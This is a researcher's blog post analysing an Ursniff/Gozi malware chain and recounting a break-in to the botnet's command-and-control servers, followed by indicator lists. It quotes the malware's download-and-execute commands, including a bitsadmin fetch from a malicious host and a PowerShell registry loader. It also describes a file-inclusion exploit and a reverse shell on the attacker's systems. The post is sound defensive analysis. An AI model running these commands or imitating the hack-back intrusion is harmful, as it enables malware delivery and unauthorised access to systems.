Hacking The Hacker. Stopping a big botnet targeting USA, Canada and Italy

Marco Ramilli

Date

31 August 2018

Read

Today I'd like to share a full path analysis including a KickBack attack which took me to gain full access to an entire Ursniff/Gozi BotNet .

In other words: from a simple "Malware Sample" to "Pwn the Attacker Infrastructure".

NB: Federal Police has already been alerted on such a topic as well as National and International CERTs/CSIRT (on August 26/27 2018) . Attacked companies and compromised hosts should be already reached out. If you have no idea about this topic until now it means, with high probability, you/your company is not involved on that threat. I am not going to public disclose the victims IPs.

This disclosure follows the ethical disclosure procedure, which it is close to responsible disclosure procedure but mainly focused on incident rather than on vulnerabilities.

Since blogging is not my business, I do write on my personal blog to share knowledge on Cyber Security, I will describe some of the main steps that took me to own the attacker infrastructure. I will no disclose the found Malware code nor the Malware Command and Control code nor details on attacker's group, since I wont put on future attackers new Malware source code ready to be used.

My entire "Cyber adventure" began from a simple email within a .ZIP file named "Nuovo Documento1.zip" as an apparently normal attachment (sha256: 79005f3a6aeb96fec7f3f9e812e1f199202e813c82d254b8cc3f621ea1372041) . Inside the ZIP a .VBS file (sha265: 42a7b1ecb39db95a9df1fc8a57e7b16a5ae88659e57b92904ac1fe7cc81acc0d) which for the time being August 21 2018 was totally unknown from VirusTotal (unknown = not yet analysed) was ready to get started through double click. The VisualBasic Script (Stage1) was heavily obfuscated in order to avoid simple reverse engineering analyses on it, but I do like de-obfuscate hidden code (every time it's like a personal challenge). After some hardworking-minutes ( 😀 ) Stage1 was totally de-obfuscated and ready to be interpreted in plain text. It appeared clear to me that Stage1 was in charged of evading three main AVs such as: Kaspersky Lab, Panda Security and Trend Micro by running simple scans on Microsoft Regedit and dropping and executing additional software.

Stage1. Obfuscation

Indeed if none of searched AV were found on the target system Stage1 was acting as a simple downloader. The specific performed actions follows:

"C:WindowsSystem32cmd.exe" /c bitsadmin /transfer msd5 /priority foreground https://englandlistings.com/pagverd75.php C:UsersJ8913~1.SEAAppDataLocalTemp/rEOuvWkRP.exe &schtasks /create /st 01:36 /sc once /tn srx3 /tr C:UsersJ8913~1.SEAAppDataLocalTemp/rEOuvWkRP.exe

Stage1 was dropping and executing a brand new PE file named: rEOuvWkRP.exe (sha256: 92f59c431fbf79bf23cff65d0c4787d0b9e223493edc51a4bbd3c88a5b30b05c) using the bitsadmin.exe native Microsoft program. BitsAdmin.exe is a command-line tool that system admin can use to create download or upload jobs and monitor their progress over time. This technique have been widely used by Anunak APT during bank frauds on the past few years.

The Stage2 analysis (huge step ahead here) brought me to an additional brand new Drop and Decrypt stager. Stage3 introduced additional layers of anti-reverse engineering. The following image shows the additional PE section within high entropy on it. It's a significative indication of a Decrypter activity.

Stage2. Drop and Decrypt the Stage3. You might appreciate the high Entropy on added section

Indeed Stage 3 (sha256: 84f3a18c5a0dd9af884293a1260dce1b88fc0b743202258ca1097d14a3c9d08e) was packed as well. A UPX algorithm was used to hide the real payload in such a way many AV engines were not able to detect it since signature was changing from original payload. Finally the de-packed payload presented many interesting features; for example it was weaponised with evasion techniques such as: timing delay (through sleep), loop delay by calling 9979141 times GetSystemTimeAsFileTime API, BIOS versioning harvesting, system manufacturer information and system fingerprinting to check if it was running on virtual or physical environment. It installed itself on windows auto-run registry to get persistence on the victim machine. The following action was performed while running in background flag:

cmd.exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:SoftwareAppDataLowSoftwareMicrosoft4CA108BF-3B6C-5EF4-2540-9F72297443C6').Audibrkr))

The final payload executed the following commands and spawned two main services (WSearch, WerSvc) on the target.

"C:UsersJ8913~1.SEAAppDataLocalTemp2e6d628189703d9ad4db9e9d164775bd.exe"

C:WindowssysWOW64wbemwmiprvse.exe -secured -Embedding

"C:Program FilesInternet Exploreriexplore.exe" -Embedding

C:Windowssystem32DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}

C:Windowssystem32wbemwmiprvse.exe -secured -Embedding

\?C:Windowssystem32wbemWMIADAP.EXE wmiadap.exe /F /T /R

"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:2552 CREDAT:209921 /prefetch:2

"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:2552 CREDAT:406536 /prefetch:2

C:Windowssystem32rundll32.exe C:Windowssystem32inetcpl.cpl,ClearMyTracksByProcess Flags:264 WinX:0 WinY:0 IEFrame:0000000000000000

C:Windowssystem32rundll32.exe C:Windowssystem32inetcpl.cpl,ClearMyTracksByProcess Flags:65800 WinX:0 WinY:0 IEFrame:0000000000000000

"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:3004 CREDAT:209921 /prefetch:2

"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:3004 CREDAT:144390 /prefetch:2

C:Windowssystem32SearchIndexer.exe /Embedding

taskhost.exe SYSTEM

C:WindowsSystem32wsqmcons.exe

taskhost.exe $(Arg0)

C:WindowsSystem32svchost.exe -k WerSvcGroup

"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe1_ GlobalUsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon"

"C:Windowssystem32SearchFilterHost.exe" 0 552 556 564 65536 560

"C:WindowssysWow64SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"

"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"

"C:WindowssysWow64SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"

"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe5_ GlobalUsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon"

"C:WindowssysWow64SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"

"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087_ GlobalUsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon" "1"

"C:Windowssystem32SearchProtocolHost.exe" GlobalUsGthrFltPipeMssGthrPipe8_ GlobalUsGthrCtrlFltPipeMssGthrPipe8 1 -2147483646 "SoftwareMicrosoftWindows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:ProgramDataMicrosoftSearchDataTempusgthrsvc" "DownLevelDaemon"

"C:Program Files (x86)Internet ExplorerIEXPLORE.EXE" SCODEF:592 CREDAT:209921 /prefetch:2

cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:UsersJ8913~1.SEAAppDataLocalTemp34B0.bi1"

cmd /C "echo -------- >> C:UsersJ8913~1.SEAAppDataLocalTemp34B0.bi1"

C:Windowssystem32schtasks.exe /delete /f /TN "MicrosoftWindowsCustomer Experience Improvement ProgramUploader"

C:Windowssystem32WerFault.exe -u -p 2524 -s 288

"C:Windowssystem32wermgr.exe" "-queuereporting_svc" "C:ProgramDataMicrosoftWindowsWERReportQueueAppCrash_taskhost.exe_82b9a110b3b94c55171865162b471ffb8fadc7c6_cab_0ab86b12"

nslookup myip.opendns.com resolver1.opendns.com

Stage3 finally connects back to C2s once checked its own ip address. Two main C2s were observed:

- C2 level_1 (for domains and ips check the IoC section). The Stage3 connects back to C2 level_1 to get weaponised. Level_1 Command and Controls get information on victims and deliver plugins to expand the infection functionalities.
- C2 level_2 (for domains and ips check the IoC section). Stage 3 indirectly connects to C2 level_2 in order to give stolen information. It 's a Ursniff/Gozi and it exfiltrates user credentials by looking for specific files, getting user clipboard and by performing main in the browser attack against main web sites such as: paypal gmail, microsoft and many online services.

So far so good. Everything looks like one of my usual analyses, but something got my attention. The C2 level_1 had an administration panel which, on my personal point of view, was "hand made" and pretty "young" as implementation by meaning of HTML with not client side controls, no clickjacking controls and not special login tokens. According to Yoroi's mission (to defend its customers) I decided to go further and try to defend people and/or infected companies by getting inside the entire network and to collaborate to local authorities to shut them down, by getting as much information as possible in order to help federal and local police to fight the Cyber Crime.

Fortunately I spotted a file inclusion vulnerability in Command and Control which took me in ! The following image shows a reverse shell I spawned on Attacker's command and control.

Reverse Shell On C2 Stage_1

Now, I was able to download the entire Command and Control Source Code (php) and study it ! The study of this brand new C2 took me to the next level. First of all I was able to get access to the local database where I found a lot of infected IPs (the IPs which were communicating back to C2 level_1). The following image proves that the downloaded Command and Control system has Macedonian dialect (Cyrillic language) on it, according to Anunak APT report made by group-ib.

Command and Control Source Code (snip)

The following image represents a simple screenshot of the database dump within Victim IPs (which are undisclosed for privacy reasons).

C2 level_1 Database

Additional investigations on database brought new connected IPs. Those IPs were querying the MySQL with administrative rights. At least additional two layers of C2 were present. While the level_1 was weaponising the malware implant the level_2 was collecting information from victims. Thanks to the source code study has been possibile to found more 0Days to be used against C2 and in order to break into the C2 level_2 . Now I was able to see encrypted URLs coming from infected hosts. Important steps ahead are intentionally missing. Among many URLs the analyst was able to figure out a "test" connection from the Attacker and focus to decrypt such a connection. Fortunately everything needed was written on command and control source code. In the specific case the following function was fundamental to get to clear text !

URL Decryption Function

The eKey was straight on the DB and the decryption function was quite easy to reverse. Finally it was possible to figured out how to decrypt the attacker testing string (the first transaction available on logs) and voilà, it was possible to checkin in attacker's email 😀 !

Attacker eMail: VPS credentials

Once "in" a new need came: discovering the entire network by getting access to the VPS control panel. After some active steps directly on the attacker infrastructure it was possible to get access to the entire VPS control panel. At this point it was clear the general infrastructure picture* and how to block the threat, not only for customers but for everybody !

Attacker VPS Environment

Sharing these results for free would make vendors (for example: AV companies, Firewall companies, IDS companies and son on) able to update their signatures and to block such a threat for everybody all around the world. I am sure that this work would not block malicious actors, BUT at least we might rise our voice against cyber criminals !

Summary:

In this post I described the main steps that took me to gain access to a big Ursniff/Gozi Botnet in order to shut it down by alerting federal and national authorities (no direct destructive actions have been performed on attacker infrastructure). The threat appeared very well structured, Docker containers were adopted in order to automatise the malicious infrastructure deployment and the code was quite well engineered. Many layers of command and control were found and the entire infrastructure was probably set up from a criminal organisation and not from a single person.

The following graph shows the victim distribution on August 2018. The main targets currently are USA with a 47% of the victims, followed by Canada (29.3%) and Italy (7.3%). Total victims on August 2018 are several thousands.

Victims Distribution on August 24 2018

During the analyses was interesting to observe attacker was acquiring domains from an apparent "black market"where many actors where selling and buying "apparent compromised domains" (no evidence on this last sentence, only feeling). The system (following picture) looks like a trading platform within public API that third party systems can operate such as stock operators.

Apparent Domain BlackMarket

Hope you enjoyed the reading.

IoCs:
Following a list of interesting artefacts that would be helpful to block and prevent the described threat.

Hashes:

42a7b1ecb39db95a9df1fc8a57e7b16a5ae88659e57b92904ac1fe7cc81acc0d (.vbs)
79005f3a6aeb96fec7f3f9e812e1f199202e813c82d254b8cc3f621ea1372041 (Nuovo Documento1.zip)
92f59c431fbf79bf23cff65d0c4787d0b9e223493edc51a4bbd3c88a5b30b05c (rEOuvWkRP.exe)
84f3a18c5a0dd9af884293a1260dce1b88fc0b743202258ca1097d14a3c9d08e (Stage 3.exe)

Windows Services Names:

WSearch
WerSvc

Involved eMails:

890808977777@mail.ru
willi12s@post.com

Involved IPs:

198[.]54[.]116[.]126 (Dropper Stage 2)
195[.]123[.]237[.]123 (C2 level_1)
185[.]212[.]47[.]9 (C2 level_1)
52[.]151[.]62[.]5 (C2 level_1)
185[.]154[.]53[.]185 (C2 level_1)
185[.]212[.]44[.]209 (C2 level_1)
195[.]123[.]237[.]123 (C2 level_1)
185[.]158[.]251[.]173 (General Netwok DB)
185[.]183[.]162[.]92 (Orchestrator CPANEL)

Involved Domains:

https://englandlistings[.]com/pagverd75.php (Dropper Stage 2)
https://pool[.]jfklandscape[.]com (C2 level_1)
https://pool[.]thefutureiskids[.]com (C2 level_1)
https://next[.]gardenforyou[.]org (C2 level_1)
https://1000numbers[.]com (C2 level_1)
https://batterygator[.]com (C2 level_1)
https://beard-style[.]com (C2 level_1)
https://pomidom[.]com (C2 level_1)
https://upsvarizones.space/ (C2 level_1)
https://romanikustop.space/ (C2 level_1)
https://sssloop.host/ (C2 level_1)
https://sssloop.space/ (C2 level_1)
https://securitytransit.site/ (Orchestrator CPANEL)

*Actually it was not the whole network, a couple of external systems were investigated as well.

Marco Ramilli

Date

31 August 2018

Read

← Go back

Hacking The Hacker. Stopping a big botnet targeting USA, Canada and Italy

i-SOON Data Leak: Key Points

X Gold Badges: a new proliferating market

Technical Data Sheet: LOCKBIT 3.0